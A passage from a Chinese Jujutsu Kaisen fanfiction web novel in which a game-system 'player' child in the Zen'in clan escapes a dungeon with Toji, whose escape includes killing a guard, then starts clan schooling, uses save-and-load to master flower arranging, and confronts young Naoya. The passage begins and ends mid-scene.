你扭过头,懒得解释,自然知道这些NPC是不能理解玩家的,玩家可是有回档的!
“和甚尔那小子住在一起怎么样?”他换了个话题。
“他挺漂亮的。”
禅院直毘人显然没料到这个答案,怔了一下,随即爆发出更响亮的大笑。在禅院家,每个人提到禅院甚尔,不是“无咒力的废物”便是“危险的疯子”,用“漂亮”来形容,怕是破天荒头一遭。
你莫名其妙地看着这个一会笑一会不笑的笑点奇怪的NPC。
“兰太那小子担心得要命,差点又要立束缚。”禅院直毘人站起身,拍了拍并不存在的灰尘,对你说,“检查完了就回去吧。”
他转身离开,酒葫芦在腰间轻撞,发出闷响。
12. 第 12 章
再次被押回地牢深处时,暮色已沉。
禅院甚尔还是那个姿势靠着墙,空气中那股浓重的血腥味变淡了一些,他侧腹的衣物破口下,翻卷的皮肉已经收缩结痂,颜色转为深褐,那条不自然弯曲的手臂,现在随意地搭在屈起的膝盖上。
你注意到他头顶的状态栏更新了。
【[重伤/失血] 已移除】
【当前状态:恢复中/警惕】
他的恢复速度快得不寻常。
你走向板床,禅院甚尔在你踏入三步距离时掀开眼皮,绿眸扫过你又闭上。
“看什么。”他声音依旧沙哑,但没了昨天那种失血的虚弱感。
“你好得好快。”你爬上床,占据了和昨天同样的外侧位置。
他鼻腔里哼出一声意味不明的气音,算是回答。
你安静了约莫十分钟。
“啊——好无聊,”你突然大叫起来,声音在狭窄石室里被放大,显得格外尖锐刺耳,“好无聊好无聊!”
这段时间为什么不能快进啊?玩家不想体验这种垃圾时间。
你试图找一些有趣的东西,对禅院甚尔问:“你怎么被关进来的?你不是等级很高吗?”
禅院甚尔纹丝不动,连睫毛都没颤一下,彻底将你无视。
你烦躁地鼓起脸颊,像小孩子一样抱怨,“啊啊啊,你怎么这样?”
只有玩家选择无视NPC的资格,哪轮得到NPC来无视玩家?
你悄悄看了眼他头上【Lv.82】的标识,有看了看自己的等级。
呵呵,玩家报仇十年不晚。
“快告诉我快告诉我……”你开始用单调的声调凑近他耳边持续输出,“我好无聊……”
禅院甚尔的耳边环绕着你嗡嗡的吵闹声,他的呼吸频率微不可察地变了一瞬。
——究竟是哪个蠢货把这小鬼惯成这副德行?他闭着眼,额角隐隐作痛。
当然是你的侍女小葵呀,现在她不在了,你还很怀念她呢。
他终于忍无可忍,伸手一把捏住你的脸颊,力道不轻地将你的脑袋往外推去。
触感柔软,带着孩童特有的温热,他愣了一下,真是见了鬼了,他心里居然对你一丝杀意都没有冒出来。
“喂,”你的脸在他指间变形,声音含糊,“不许无视我。”
他倏地松开手,像被什么无形的东西烫到,指尖迅速在衣角蹭了蹭,语气干巴迅速:“看那群少爷不顺眼,就揍了。然后就在这儿了。”
他语速极快,试图终结话题,“知道了你就闭嘴。”
你突然伸手,冰凉的手指捏住他的脸颊,用力扯他的脸。
“你刚才是不是看清我的脸了?”你问,又把脸扯回去,来来回回像是在捏什么玩具,“你没什么感觉吗?”
禅院甚尔被你捏住的半张脸僵住,阻止你的手不自觉缩了缩。
“难道不觉得我特别漂亮,”你凑近些,语气诱惑,在黑暗中响起,“想把一切都贡献给我吗?”
“所以,”你语速加快,带着理所当然的命令,“把你身上所有值钱的都给我。然后马上带我离开这鬼地方,我快无聊死了!”
禅院甚尔原本绷紧的肩背线条,在你这番离谱宣言后,奇异地松垮了些,果然是个小孩嘛。
他嗤笑出声,绿眸斜睨着你:“你一个四岁小孩,说什么屁话。”
你一愣,满魅力值对他没用吗?
你难得地陷入一瞬自我怀疑,难道数据出BUG了?
禅院甚尔收回的手垂在身侧,几不可察地轻颤,指尖蜷缩,像被无形的火舌燎了一下。
——就在刚才那一瞬,他的身体几乎要违背意志地听从那个荒唐的命令了。
……这小鬼的脸,果然邪门得很。他盯着黑暗中的某一点,无声地想。
他沉默了几秒,突然开口,话题突兀地拐向另一边:“你晚上睡觉的姿势,真的很差。”
你:“?”
看你没懂,他扯了扯嘴角,“意思是,今晚你再滚过来,我就找根绳子把你捆床脚上。”
你眨了眨眼,突然笑起来,声音在阴冷的地牢里显得有点清亮:“啊——怪不得昨晚我睡得一点都不冷。”
你恍然大悟般点点头,“原来是有你在暖着啊。”
你昨晚半梦半醒,把他当成总把你搂进怀里取暖的女仆小葵了。
禅院甚尔额角的青筋跳了一下。
“谁准你……”他话没说完,你已经开始顺着杆子往上爬。
“怪不得你对我的脸没有反应呢,原来是已经被影响了啊。”你打断他,擅自下结论,“既然这样你快帮我按按腿,我的腿要酸死了。”
这小鬼真把他当贴身侍女使唤了?禅院甚尔感到指骨隐隐发痒。
“呵呵,行·啊·”他几乎是咬牙切齿地吐出这两个字,大手一伸,拎着你的后颈就把你按在他盘起的腿上,“我·现·在·就·给·你·按·按!”
按不死你!
你反应剧烈地挣扎起来,在他手底下反复乱窜,像一条被丢上岸的鱼,他手指按过的地方又痛又麻,你忍不住“嗷嗷”叫唤。
“舒不舒服啊,禅院‘大·小·姐’?”他阴沉沉地笑,手下力道分毫不减。
“嗷嗷!我不按了我不按了,哈哈哈哈……”你被他挠到痒处,控制不住笑处眼泪,挣扎得更凶。
他算是彻底明白了,不给你点颜色瞧瞧,你真能踩着他的底线跳踢踏舞。
“哈哈……呼赫……”趁着他力道稍松,你连滚带爬地窜到离他最远的墙角,连床都不敢上了,一边喘气一边用泛着泪花的眼睛警惕地瞪他。
没有人敢这么对待玩家!!你委屈极了。
“啊啊啊!你真可恶,有本事你不挠我痒痒!”你气急败坏。
“呵呵,你过来一次我就挠你十次!”禅院甚尔抓到了你的软肋,看你又要扑上来,眼疾手快地放出狠话。
看着你又急又气,满脸写着“岂有此理”的模样,禅院甚尔心里突然升上一股奇异的爽感,终于有人治治你了!哈哈哈!
这个争锋相对的场景看起来还有那么一回事,如果忽略双方放狠话的内容的话。
禅院甚尔的脸突然黑得彻底,他放的狠话从来都是“杀了你”、
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“捏碎你”,什么时候沦落到用“挠痒痒”来威胁一个四岁小屁孩了?他怎么变得和你一样幼稚了!
你不死心,试图动用魅力武器,委屈巴巴地凑近些,黑眸润泽,“晚上这里冷得要命,你就负责给我暖暖嘛。反正你伤好得快,身上又热。”
“我凭什么——”他几乎是气笑了。
谁求人是这么理直气壮的啊!禅院甚尔嘴角一抽,关键他还真狠不下心去拒绝你,真是活见鬼!
你持续把那张仿佛带着魔力的脸往他眼前凑,眼睛睁得圆圆的,眸子在昏暗里亮得惊人。他烦躁地别开脸。
“算了。”
他吸了口气,又重重吐出,下颌线绷紧,没关系没关系,只是一个小鬼而已,我不和她计较,就当是个会发热的石头……他现在开始试图催眠自己。
反正也拒绝不了你这张魔性的脸,爱怎样就怎样吧!禅院甚尔彻底摆烂。
“那就说定了,”你终于满意了,往回挪了挪,又警惕地补充,“还有,你不能再挠我痒痒!”
你自觉地往他的怀里钻。
禅院甚尔看着怀里自动定位暖和位置的小鬼,手指捏了捏她脸颊的软肉。
脸长成这样,脾气怎么敢这么坏。
他靠在冰冷的石墙上,听着身边逐渐均匀的细小呼吸,盯着黑暗,脸上没什么表情。
---
第二天牢门滑开一道缝隙,守卫送来了你们俩的餐食。
禅院甚尔扫了一眼。
他的碗里是看不清原料的糊状物,混着几根腌菜梗。你的碗里,有正餐,有汤,加上旁边的菜,可以称得上三菜一汤的配置了,把他原先还可以下咽的食物衬得稀烂。
“嗬。”他短促地笑了一声,听不出情绪,“还区别对待。”
他端起自己的碗,几口吞完那团温吞的糊,然后侧头看你。你正小口吃着鱼碎,正翻看着和饭一起送来的信。
禅院甚尔没心思去偷窥别人的信,你倒是看清了这封信是你的便宜哥哥送来的,你上下扫了一眼,内容大概是让你不要担心,再等几天他就会来接你之类的话。
“喂,”禅院甚尔用脚尖碰了碰你的小腿,“冷心冷肺的小鬼,分点。”
你立刻把碗往怀里一搂,黑瞳警惕地瞪他:“不给。”
“昨晚你把我睡了,怎么连点报酬都不给?”
你眼神诡异地看向他,这个人对一个小孩子说的什么话呢?
“看什么,不是吗?”禅院甚尔反问,理直气壮,“反正你也吃不完。”
“啊,”你眼珠子转了转,冒出鬼点子,“那你说一句‘华子大人,我再也不挠你痒痒了’。”
见他不动,你抱紧碗,加快了扒饭的速度。
禅院甚尔一愣,开始发笑,还以为你要提什么要求呢,结果……就这?他在禅院早就听过比这还过分百倍的要求了。
“行,行。”他慢条斯理地开口,手指撑着下颌,语调拖得有些懒散,却又奇异地清晰:
“华子大人——我、再、也、不、挠、你、痒、痒、了。”
“现在,能分我一口了么,大小姐?”
13. 第 13 章
你把碗推过去,分了他一半鱼碎。
---
接下来几天,禅院甚尔清晰地感觉到,自己正在以某种诡异的速度一步一步向你妥协。先是床的分配,然后是私人空间,最后是……
“喂,小鬼,”他拈起你湿漉漉的刚洗黑发,随意地擦了擦,“你不是嫌无聊么。”
你甩了甩头,水珠顺着你的头发迅速滑落。
他凑近些,气息拂过你耳廓,带着一丝跃跃欲试:“我们越狱吧。”
你撑着脸好奇地问:“你被关多久了?”
“……半个来月。”他蹙起眉,“问这个干嘛?”
“真可怜啊,”你的语气里总是带着惯有的一股高高在上,听不出真意,“都没人想起要放你出去吗?”
他屈指不轻不重地弹了下你额头,“呵呵,你最好改改这说话的调子,真的很欠揍。”
你捂住被弹的地方,瞪他,“怎么总是动手动脚的,你好烦!”
“你有什么计划?”你问。
“打出去呗。”他说得理所当然。
你沉默了两秒。果然,这些NPC脑子里除了肌肉就没别的了吗?
你叹了口气,脸上却慢慢浮起一个与年龄不符的微笑,“不过,听起来还挺有趣的。”
“啊,我有计划哦。”你轻声说,黑瞳转向他,深处映着两点幽蓝的鬼火,“你听我的就好了。”
“砰!”
“嗷!又打我干什么!”你怒。
“都说了不要装模作样。”
---
地牢换岗时间,石壁渗出湿冷的水汽,霉味混着铁锈味沉淀在空气底部。
刚接完班的护卫甲打了个长长的哈欠,眼底泛青。他用力拍了拍同伴乙的肩膀,力道不轻:“喂,帮我看一会儿,就一会儿!肚子疼得厉害……x的,昨晚那饭绝对有问题。”
护卫乙被拍得晃了一下,面露不耐,但还是点了点头。
“还有,”护卫甲捂着肚子走了两步,又艰难地回头,压低声音,眼神里闪过一丝不易察觉的畏惧,“最里面那间,盯紧点……那个小孩,家主大人特意交代过,别看她眼睛,别被她那张脸……”
“知道了知道了,啰嗦。”护卫乙挥手打断,语气敷衍,“一个毛都没长齐的小鬼,能翻出什么花。”
护卫甲张了张嘴,似乎想说什么,但腹中绞痛再次袭来,他龇牙咧嘴地弓着腰,匆匆消失在走廊拐角。
地牢重归寂静,只有不知何处传来的,规律到令人心慌的滴水声。
嗒,嗒,嗒。
护卫乙挎着刀,懒洋洋地靠在冰冷的石壁上,目光漫无目的地在昏暗的走廊里扫视。
忽然——
“咚。”
一声闷响,从走廊最深处传来,不像是撞击,更像是什么沉重的东西轻轻磕在了石头上。
几乎是同时,走廊里所有的咒力灯光晕齐齐暗了一瞬,像被无形的帷幕拂过,幽蓝色的光线变得稀薄、萎靡,渗入了一丝不祥的灰败色调。
护卫乙站直了身体,手按上刀柄,他皱了皱眉,侧耳倾听。
滴水声停了。
一种奇异的压迫耳膜的寂静笼罩下来,他甚至可以听见自己血液流过太阳穴的微弱鼓动。
不对劲。
他拔出刀,咒力在刀身上流淌出微弱的光,一步一步,朝着声音来源光线最黯淡的尽头走去,靴底踩在石板上,发出空洞的回响,每一声都被放大了,敲在紧绷的神经上。
囚室尽头。
咒力灯的光在这里几乎被吞噬殆尽,只剩下薄薄一层,勉强勾勒出轮廓。他看见了那个被反复提及的“小女孩”。
她端正地对着走廊的方向,坐在板床边缘,面容隐在逆光的阴影里看不真切,幽暗的光从她身后投来,给她小小的身形镶上一圈模糊的微微发亮的边。
她在梳头。
黑发,比地牢的黑暗更浓稠的黑发,已经长及腰际,披散在单薄的背脊上。她手里没有握着梳子,而是用五指一下,又一下,缓慢地梳理着。
指尖划过发丝,发出极其细微的沙沙声,在这片死寂里,却清晰得刺耳。
她微微偏着头,脖颈的线条在昏暗中显得异常脆弱白皙,像一个被时光遗忘在古宅最深处的精致的人偶,在无人知晓的夜里,兀自重复着生前的某个习惯。
护卫乙的脚步不知不觉停了,他屏住呼吸,目光被那道侧影牢牢抓住。
一股难以言喻的感觉,毫无征兆地从心底最深处漫上来。
不是警惕,不是恐惧,而是一种温暖的平静。
他恍惚了一下。
再定睛时,发现自己已经站在了牢笼的铁栏前,鼻尖几乎要碰到冰冷生锈的铁条。
什么时候走过来的?
冰凉柔软的双手触感,毫无预兆地贴上他因紧张而绷紧的脸颊。
他浑身一颤,瞳孔骤缩。
隔着铁栏,小女孩抬起双手,轻轻捧住了他的脸,那双手很小,很软,指尖带着地牢特有的凉意,触碰的力道却很温柔。
他猛地想要后退,想要拔刀——身体却像被巨石压住,每一块肌肉都背叛了意志,僵硬无比,连转动眼球都变得无比艰难。
他被迫垂下视线,对上了一双眼睛。
纯粹的黑色,像把世间所有的光都吸进去了一样空茫。
她的嘴唇轻轻开合,没有声音发出,至少他的耳朵没有捕捉到任何声波。
但那句话却直接烙进了他的脑海深处:
「将一切……奉献给我。」
……
……
护卫全身战栗,爆发出尖锐到刺痛的警报,“不——!!!”
被温暖假象麻痹的神经骤然苏醒,他右臂肌肉贲张,用尽全部意志驱动手指猛地抓向腰间的警报符咒。
指尖即将触碰到符咒表面的前一瞬——
从他视线死角,毫无征兆地伸出了一只手。
骨节分明,手指修长,那只手快如闪电,精准地覆上护卫的脸,五指收拢。
令人牙酸的碎裂声,在寂静的地牢里格外清脆。
五指收拢。
“喀啦。”
护卫乙凸出的,残留着最后惊骇的眼球,在骤然降临的黑暗吞噬意识前,倒映出的最终画面是:<
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p>女孩近在咫尺的脸,平静无波,甚至带着一丝近乎神性的怜悯,她的黑瞳依旧深不见底,映不出任何惨状。
一丝微蓝的光恰好落在她的脸颊上,照亮了几滴正缓缓滑落的血液。
随即,那只手松开了。
护卫乙失去所有支撑的身体,面条般软倒下去,撞在铁栏上发出沉闷的响声,暗红的液体迅速在粗糙的石板地上漫开,洇湿出一片不规则的深色。
一切重归寂静。
禅院甚尔从隔壁囚笼的阴影里走出,甩了甩手上沾到的粘腻。
他活动了一下刚才发力的五指,疑惑:“……我刚才没用这么大劲吧?”
“做得不错。”你说。
禅院甚尔蹲下身,在那具尚温的尸体腰侧摸索两下,扯下一串沉甸甸的钥匙,金属碰撞声在死寂中格外清晰。
他走到铁栏边,轻易找出对应的那把,“咔哒”一声,牢门滑开。
他站在门口,朝你伸出手臂。
你走过去,他微微弯下腰,你就被他稳稳地拖抱上臂弯,你的高度缓缓上升,你下意识抓住他肩头的衣料,想,这个NPC还真是高啊。
他用拇指指腹随意抹过你脸颊上那几点半干的血迹。
你转过头看他,他咧开嘴,露出一个毫不掩饰的笑容,绿眸在昏暗里亮得惊人。
“现在——”他亢奋的声音在空旷的监狱里通道里回荡开。
“让我们大闹一场吧!”
禅院甚尔将那串沾血的钥匙在手里掂了掂,然后,看也没看,朝着身后关押着其他囚徒的牢笼方向随意一抛。
钥匙串划出一道短暂的弧线,叮铃哐啷地落在冰冷石板上,一路翻滚,最终停在几间牢笼的交界处。
短暂的死寂。
突然像火星溅入油池,粗重的呼吸声从不同方向响起。
黑暗中,无数双眼睛骤然亮起,死死盯住那串躺在不远处象征着自由的钥匙,锁链疯狂拖拽的哗啦声,压抑的嘶吼,指甲抓挠铁栏的刺耳噪音……瞬间撕碎了地牢的平静。
“我的,那是我的!!”
“滚开!别跟我抢!”
“哈哈哈……钥匙!是钥匙!我出来了!我终于要出来了!!”
……
禅院甚尔连头都懒得回一下,对身后的混乱置若罔闻。
他腿脚肌肉倏的绷紧,身体爆发出恐怖的速度,整个人如同离弦的箭朝着地牢出口的方向猛冲出去,劲风扑面而来,刮得你脸颊生疼。
“坐稳了!”
他低沉的声音混在风里,带着毫不掩饰的兴奋与战意。
前方的黑暗甬道中,已有闻声赶来的守卫身影出现,咒力光芒仓促亮起。
禅院甚尔的速度没有丝毫减缓,反而在瞳孔收缩的瞬间变得更快!他嘴角的弧度咧得更大,眼中爆发出纯粹暴戾的愉悦。
---
几乎在同一时刻。
禅院家主宅。
纸门被猛地拉开,一名护卫近乎连滚爬进,声音变调:“家、家主大人!地牢……地牢暴动!大批囚犯逃脱,守卫死伤不明!”
禅院兰太瞳孔骤缩。
14. 第 14 章
前方出现了更多的守卫。
禅院甚尔猛地刹住脚步,将你从臂弯中卸下,放在回廊转角相对完整的木质地板上,
“自己躲好。”他留下一句带着血热温度的话。
禅院甚尔直起身,向前走出几步,目光重新放在前方涌来的新一批守卫上。
领头的人下意识后退一步,随即像是感到耻辱般涨红了脸,厉声喝道:“拿下他!”
护卫们的刀刃在昏暗光线下反射着阴沉的冷光,咒力波动比地牢里的杂鱼明显高出一截。
你依言站定,非但没找遮蔽,反而大大咧咧立在廊下最开阔的“观赏位”,黑发被穿堂风吹得微动,脸上还沾着未擦净的零星血迹。
守卫们的目光扫过你,动作却诡异地出现了一瞬凝滞,他们的刀锋、咒力,甚至于充满杀意的视线,都下意识地绕开了你所在的那一小片区域,仿佛那里存在着无形的禁区。
你靠着残垣,目光追着禅院甚尔。
他动了。
没有咒力光华,纯粹□□爆发的速度撕裂空气,留下残影,拳头砸碎腕骨,肘击撞塌胸肋,旋身踢扫倒一片,鲜血泼洒在枯山水庭院的白砂上,绽开刺目的红梅。
【NPC禅院甚尔击败护卫A】
【NPC禅院甚尔击败护卫B】
【NPC禅院甚尔击败护卫C】
……
【NPC禅院甚尔于激战中有所领悟,等级跃迁:82 → 83】
【您观摩了NPC禅院甚尔的战斗,经验值上升了。】
你的目光死死锁定禅院甚尔,他的侧脸染着血迹和绿色的瞳孔兴奋到发亮,别人的或者他自己的血液顺着他肌肉贲张的手臂他一滴、一滴,砸在地上。
连带着你的心脏也猛然跳起来:
“砰、砰、砰……”
就在这时,禅院甚尔的身后突然传来急促踉跄的脚步声,伴随着一声颤抖的呼唤:
“华子——!”
禅院甚尔刚拧断对手的脖颈,听到身后动静,心脏一紧,他猛地回头,准备回防——
看到的却是一副温情到可笑的画面。
一个穿着禅院家纹和服的青年,脸色苍白,眼圈通红,几乎是连滚爬地冲过狼藉的庭院,一把将你紧紧搂进怀里,他的身体抖得厉害,眼泪混着冷汗毫无形象地往下淌。
“妹妹……你没事吧?有没有受伤?哥哥来晚了……”禅院兰太声音哽咽,手臂颤抖,眼泪混着灰尘落在你肩头。
你没有推开,甚至抬起手,用指尖轻轻揩去他脸颊滑下的湿痕,动作堪称温柔。
“我没事哦。”你这样说。
禅院甚尔站在原地。
方才因战斗而沸腾的血液,在胸腔里突兀地冷却下来,激烈的心跳声和粗重的呼吸变得无比清晰,鼓噪着耳膜。
耳边一切厮杀声,怒吼声都潮水般退去,只剩下自己胸腔里一下、一下,沉重而空洞的心跳,他的心跳声慢慢与你重合。
砰、砰、砰。
然后,你仰起脸对着那双与你相似的黑眸,清晰吐出两个字:
“哥哥。”
被唤作“哥哥”的那个男人浑身一震,将你搂得更紧,泪水涌得更凶,仿佛劫后余生的是他。
他看着那相拥的两人。
视野缓缓平移,越过他们,这才注意到,不知何时,更多人影已层层围拢,身着长老服饰的老者,脸色铁青的护卫队长,以及站在最前方,被簇拥着的两个人——禅院扇,和他的“好哥哥”禅院甚一。
禅院甚一上前一步,声音透过庭院传来,带着惯常的,令人作呕的劝诫口吻:“甚尔,别再错下去了!回来向家主请罪,家族会……”
禅院扇的怒骂紧跟其后,话语肮脏刺耳,无非是“废物”、“孽障”、“玷污门楣”。
那些声音飘进耳朵,却模糊得像是隔着一层水。
禅院甚尔扯了扯嘴角。
啊。
到头来,只有他是一个人。
沸腾的战意像被戳破的气球,噗一声,泄得干干净净,连带着那股支撑他杀出地牢,横穿大半个禅院家的狠劲,也一同消散了。
没意思。
他甚至懒得再看包围圈外那对相拥的“兄妹”第二眼。
在禅院扇更刺耳的怒骂和禅院甚一故作焦急的呼喊中,在更多护卫结阵扑上的前一秒——
禅院甚尔毫无预兆地转身。
足尖点地,腰身发力,整个人如一道逆向的流星,撞破侧面稀疏的防线,朝着远处阴影浓重的森林纵身跃去。
几个起落,身影便没入层层树影,消失不见。
干脆利落,没留下半句废话。
庭院中,禅院兰太还在紧紧抱着你,长老们的斥责和禅院扇的怒吼在继续,只有你,目光越过哥哥颤抖的肩膀,望向禅院甚尔消失的方向,黑瞳平静。
禅院兰太终于松开你,掌心却仍紧攥着你的手,指尖冰凉,他半护着你,穿过神色各异的人群,走向家族宅邸深处属于他的偏院。
---
【五岁:经过家主禅院直毘人的默许,你进入禅院学堂进行教育。】
禅院兰太的院子比你之前的偏院宽敞些,但依然冷清,他屏退仆从,关上门,从怀里取出一个用布仔细包裹的东西,动作有些迟疑。
布料揭开,露出一张面具。
是侍女小葵的手艺。
“这是……我之前在那个荒村附近找到的。”禅院兰太声音很低,带着不易察觉的轻颤,将面具递给你,“我想,应该是华子你的东西。”
你接过面具。
他垂着头,不敢看你,耳根泛红,声音越发
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艰涩:“在家、家族里……还是把它戴上吧,华子你的容貌……对很多人来说,是承受不起的‘恩赐’。”
“对不起……”他声音哽了一下,“都是哥哥太弱了,如果我能再强一点……”
你拿起面具,将它覆在脸上,透过眼孔,你能看见禅院兰太头顶清晰的【等级:70】。
“没事哦,”你的声音透过面具,显得有些闷,“华子戴上就好了。”
【魅力值锁定:9.5(-4.5)】
禅院兰太猛地抬头,眼眶微红,唇动了动,最终只化为一个混合着感激与苦涩的笑容。
---
禅院兰太牵着你站在廊下,低声叮嘱几句,你的目光扫过室内,疑惑地问:“那些男孩呢?”
禅院家的学堂设在族学东侧,一个独立的,栽种着柔弱花草的庭院里,纸门拉开,里面是十来个年纪相仿的小女孩,穿着整齐的和服,跪坐在蒲团上,年长的女师匠正在讲解插花的流派与寓意,声音轻柔。
禅院兰太一愣,回答你:“在、在另一边的学堂。”
“为什么要分开?”你转过头,透过面具的眼孔看向他。
“因为……”他下意识回答,又卡住,脸上浮现一丝空白,“因、因为大家要学习的东西……不一样。”
“那男生需要学什么?女生又需要学什么?”
禅院兰太的视线随着你的话语,不由自主落到学堂内:
小女孩们正努力模仿师匠的动作,将一枚细弱的梅花枝桠插入浅口瓷瓶,调整角度,力求姿态“婉约”、“柔美”,她们的背影挺直,却透着一种被精心修剪过的,小心翼翼的整齐。
他沉默了,恍惚间意识到什么,他之前从未细想过,或者说,他不愿细想。
“男生学习咒术理论、体术、家族事务管理、结界布置……”他声音干涩地列举,“女生学习……礼仪、茶道、花道、乐理、如何辅助夫君、管理内务……”
他蹲下身,尽量与你平视:“华子,就算男生女生学习的东西不一样,但是我们最终会对禅院家有用,都会服务于家主大人的。”
你安静地等他说完,然后拉长了语调:“啊——也就是说,你们所有人,不管学什么,最后都要听命于禅院家主,为Ta做事,对吧?”
禅院兰太迟钝地点了下头:“……是。效忠家主,服务家族,是我们的本分。”
他随即又急切地看向你,想补充什么,“所以华子你也要好好……”
你打断了他。
面具遮挡了你的所有表情,禅院兰太只能听到那身音平稳到近乎冷酷地宣布:
“那我要成为禅院家主。”
禅院兰太所有未出口的话冻结在舌尖,他瞳孔骤缩,脸上血色瞬间褪尽,像被无形的咒言击中,整个人僵在原地,甚至忘了呼吸。
15. 第 15 章
【恭喜玩家解锁主线任务:成为禅院家主】
【声望系统已解锁】
[姓名:禅院华子
性别:女
咒力:6(已达标,6岁可解锁术式)
声望:1(少数人知道你,【医生的诅咒】作用持续中)
术式:?(待解锁)]
禅院兰太仍僵在原地,你已松开他的手,走向师匠,师匠是个面容刻板的中年女人,目光扫过你脸上的面具时皱了皱眉,终究没说什么,示意你入座。
你跪坐在最后一个蒲团上,周围小女孩的目光隐晦地投来,落在你突兀的面具上。
“开始今日的课程——‘立花’的基础型。”师匠的声音平板无波。
你看着她示范:如何剪去多余的叶片,如何计算角度,如何让枝桠呈现“谦逊而不失风骨”的姿态,动作繁琐,标准严苛。
【系统提示:解锁生活技能——[花道]。】
【当前等级:0】
你拿起剪刀,第一刀,枝桠断了。
【花道经验+0.1】
你试图将断枝插上剑山,它歪向一边。
【花道经验+0.1】
你面前的陶瓶逐渐被一堆长短不一,姿态扭曲的残枝填满,呈现一种与美学彻底背道而驰的混乱。
旁边的女孩悄悄用袖子掩住嘴,肩膀微抖,她趁师匠转身,极小声地提醒:“喂……老师要看过来了,你快……”
你点击[存档]。
话未落,师匠已踱步到你面前。
她低头,看着你面前那瓶堪称“灾难”的作品,脸色以肉眼可见的速度沉下去。
“……这是,”师匠的声音从牙缝里挤出来,“什么?”
你抬起头,面具对着她。
“我插的花。”你回答。
“花?”师匠猛地拔高声音,尖锐刺耳,“这堆破烂?!简直是灾难!禅院华子,我教授花道十五年,你简直是我见过的最没有天赋的学员!”
她挥舞着手中的戒尺,在戒尺即将要打向你的一瞬间,你迅速点击了[回档]。
你再次进行操作,继续插花。
【花道经验+0.1】【花道经验+0.1】【花道经验+0.1】……
啊,果然,不出你所料,这次你的花道等级迅速地爬到[等级:2]。
回档虽然会重置你的经验等级,但是你学的更顺手了,或者说,你的身体有了肌肉记忆。
像是最后一次小葵消散时对话变得不同了一样,你猜想这个游戏存在Meta元素①。
最终成果,系统评分:35。
师匠路过朝你这里瞥了一眼,哼声:“混乱至极。”
但到底没动手。
[回档]
你持续性的插花。
[花道等级:5]
【系统评分:60。】
师匠评语:“勉勉强强吧?”
[回档]
[花道等级:7]
【系统评分:79】
师匠惊喜地跑过来抓住了你的手,急切地追问:“你、你是第一次学习插花!?华子是吧?你真的很有天赋,比我之前见过的不少大师都插得好!”
你其实一直对这类小游戏挺感兴趣,也比较有耐心,像拼一副拼图,不管花费多少时间,你致力于完成和完美。
你再次[回档]。
[花道等级:10]
你指尖掠过瓶中随手调整的梅枝。
【系统评分:……滋滋……错误……】
【系统最终评分:???】
枯瘦的梅枝上,本已半凋的花苞以肉眼可见的速度舒展,绽放出超越季节的繁盛,花瓣不再是单薄的白,枝叶蜿蜒的线条仿佛被赋予了呼吸,微微起伏。
一只本不该出现在严冬室内的蓝蝶,不知从何处浮现,颤巍巍地落在最顶端那朵异色梅花上,翅膀开合。
第二只,第三只,细小的蜂虫也循迹而来,嗡嗡振翅,环绕花间。
学堂内,时间变得黏腻起来,所有女孩此刻全部僵在原地,目光死死锁在那瓶花上。
女师匠手中的戒尺“啪嗒”一声掉落在地,她没去捡,嘴巴微微张开,瞳孔扩散,脸上交织着极致的迷醉。
你立在众人视线的中央,等了一会儿,没有得到老师的评语,想着插花的任务应该是结束了,于是你绕过僵直的师匠走了出去。
你慢吞吞地往外走,走到另一头的学堂,在你的观念里,没有什么可以限制你到处走,毕竟禅院家的土地都是你的领土。
远处传来箭矢破空的锐响,以及少年们略显夸张的喝彩与哄笑。
声音来自东侧的小型演武场边缘,你转过回廊拐角,看见几个人影。
大概就是一些家族霸凌场面,你仔细地看了看处于高位的少年,大概七、八岁,穿着纹付羽织袴,手持和弓,姿态矜傲地立在箭靶前。
“没听见吗?快点去捡少爷的箭矢!”
“就是,磨蹭什么!”
少爷本人含着笑,没有出声,旁边的跟班倒是迫不及待地吆喝驱使那个满头大汗的小男孩。
有一支箭射得尤其偏,远远落进了你身旁的树丛阴影里。
男孩小跑过来,喘着气,一眼看见站在阴影边的你,和躺在你脚边的那支箭。
他愣了一下,或许是因为你突兀的面具,或许是你过于平静的姿态,一种混合着窘迫恼怒的情绪划过他眼底,他抱着箭快步朝你走来,在经过你身边时,刻意用肩膀朝你撞去。
你稍稍侧身,脚尖往前一探。
“噗通!”男孩完全没预料到,结结实实摔了个嘴啃泥,怀里的箭撒了一地,他趴在地上恶狠狠地盯着你。
“磨蹭什么?捡支箭要这么久?”清脆的略显不耐的声音由远及近。
小少爷穿着绣有精致家纹的绀色狩衣,步伐不紧不慢,下巴微微抬起,高傲的脸上写满不悦。
地上的男孩见状,立刻指着你,声音因为激动和恐惧而显得尖利:“直、直哉少爷!是她!她故意绊倒我,还、还不把您放在眼里!我让她帮忙捡箭,她动都不动!”
“聒噪。”他吐出两个字,声音不大。
男孩瞬间噤声,脸色唰地一下白了。
禅院直哉这才把目光施舍般给了那男孩一眼,目光是全然的冷漠:“我最讨厌的,就是自己没本事,还只会嚷嚷的废物。”
小男孩腿一软,“扑通”跪下了,冷汗涔涔,求助地看向直哉身后的跟班,身后的那两个跟班毫无反应,甚至相互挤挤眼有些幸灾乐祸。
禅院直哉这才重新将视线投向你,从头到脚,缓慢地打量,首先注意到的是你脸上的面具,还有你站的很直。
“女人?”他皱着眉,“女人要懂得相夫教子,恭谨柔顺,给男人留足面子,不能傲慢倔强②,你站的这么直干什么?”
你简直大为震惊,这居然是一个七岁的小孩说出来的话,这完全被老登腌入味了吧?
他开口,语调拖长,带着一种居高临下的评判,“哪个院子里的?见了本少爷不行礼,还戴着这种东西,太丑陋了,没人想娶一个带着面具的丑八怪。”
他朝你抬了抬下巴,命令道:“把你的面具摘——”
话未说完。
禅院直哉的声音突兀地卡在喉咙里。他的瞳孔微微一缩,心脏毫无预兆地重重一跳。
一股莫名的,冰冷的寒意窜过后颈,大脑空白了极其短暂的一瞬,某种源于生存本能的警报在潜意识深处拉响——不要看,绝对不能看面具下的脸。
这感觉来得快,去得也快,快得像是错觉,残留的不适感让他更加烦躁,特别还是对你这种他最讨厌的女人。
他恶狠狠地盯着你面具上那两个黑漆漆的眼孔,试图从里面找出畏惧或者讨好,什么都没有。
这女人……!
一个恶劣的念头冒了出来,既然你这么喜欢戴着面具,既然你这么“与众不同”……
他忽然转身,毫无预兆地抬脚,狠狠踹在还跪在地上的男孩肩头。
“啊!”男孩被踹得向后翻滚,捂着肩膀,疼得蜷缩起来。
禅院直哉居高临下地看着他,声音轻慢:“你那个在炳里混日子的哥哥……依我看,也不太适合待在那里了。”
男孩的眼睛瞬间睁大到极致,里面充满了绝望。完了。
禅院直哉不再看他,重新转向你,命令道:
“喂,女人
